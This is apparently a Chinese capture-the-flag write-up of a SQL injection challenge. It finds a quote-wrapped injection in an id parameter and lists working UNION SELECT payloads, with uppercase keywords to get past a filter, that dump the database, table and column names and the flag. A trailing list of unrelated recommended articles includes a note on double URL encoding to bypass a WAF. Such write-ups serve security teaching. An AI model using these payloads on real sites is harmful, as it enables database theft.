打开界面是查询界面

点击不同的查询页面返回的内容不同,然后url的地址发生变化,毫无疑问注入点在id处

这里直接进行测试

单引号无回显

双引号回显id不存在

初步判断为字符型注入且为单引号包裹

因为双引号出现了id不存在的提示,说明id构造错了,因为使用的是题目原来的id所以只能是单引号包裹然后导致id多了个单引号才导致id不存在的

全真语句测试

1' or 1=1 --1

回了个no

在这里看到了别的wp说很多关联词都过滤了,那这就得使用别的方法了

union 、SELECT(等大写的关联词)都可以

根据前面的知识我们可以知道一共会回显5个字段,所以这里就直接进行sql注入

  • 爆库
?id=-1' union SELECT 1,database(),3,4,5 --1
  • 爆表
?id=-1' union SELECT 1,(SELECT group_concat(table_name) from INFORMATION_SCHEMA.tables WHERE table_schema="ctf"),3,4,5 --1
  • 爆字段
?id=-1' union SELECT 1,(SELECT group_concat(column_name) from INFORMATION_SCHEMA.columns WHERE table_schema="ctf" AND table_name="here_is_flag"),3,4,5 --1
  • 爆数据
?id=-1' union SELECT 1,(SELECT flag from here_is_flag),3,4,5 --1

随机推荐

  1. linux 脚本:iptables-nat.sh

    #!/bin/bash # 2022.2.28 by dewan # DNAT configuration. iptables -t nat -F PUB_IFACE="enp125s0f0 ...

  2. ch-manager.sh

    [root@dev-clickhouse1 ~]# cat ch-manager.sh #!/bin/bash ch_arr=(ch1-shard1-main ch1-shard2-sub ch2-s ...

  3. Java的readBytes是怎么实现的?

    1.前言 众所周知,Java是一门跨平台语言,针对不同的操作系统有不同的实现.本文从一个非常简单的api调用来看看Java具体是怎么做的. 2.源码分析 从FileInputStream.java中看 ...

  4. Java中的线程池使用及原理

    开篇-为什么要使用线程池? ​ Java 中的线程池是运用场景最多的并发框架,几乎所有需要异步或并发执行任务的程序都可以使用线程池.在开发过程中,合理地使用线程池能够带来 3 个好处. ​ 第一:降低 ...

  5. 双URL编码绕过WAF

    一般编码一次是%5c. 但攻击者怕这个会被认出来,所以用二次编码,把%本身编码成%25.再和后边拼成%255c. 如果URL解码器有缺陷,只不断重复"从前边开始解析"这个步骤,就会 ...

  6. WPF自定义控件之消息提示

    创建消息提示控件 internal class Message : ContentControl { public int Time { get; set; } [Bindable(true)] pu ...

  7. Win11 开启 telnet

    'telnet' 不是内部或外部命令,也不是可运行的程序或批处理文件. 首先我们打开底部"开始菜单",如图所示.接着打开其中的"设置". 然后进入左边的&quo ...

  8. SDP协议理解

    目录 SDP协议 协议格式说明 协议格式 常见属性 协议版本号 v= -- Protocol Version 会话发起者: o= -- Origin 会话名 s= 连接数据:c= 媒体描述:m= 附加 ...

  9. [ABC132D] Blue and Red Balls

    2023-01-16 题目 题目传送门 翻译 翻译 难度&重要性(1~10):3 题目来源 AtCoder 题目算法 dp 解题思路 因为蓝球的数量是固定的,题目让我们求,在取 \(i\) 次 ...

  10. AI绘画:Stable Diffusion 终极炼丹宝典:从入门到精通

    本文收集于教程合集:AIGC从入门到精通教程汇总 我是小梦,以浅显易懂的方式,与大家分享那些实实在在可行之宝藏. 历经耗时数十个小时,总算将这份Stable Diffusion的使用教程整理妥当. 从 ...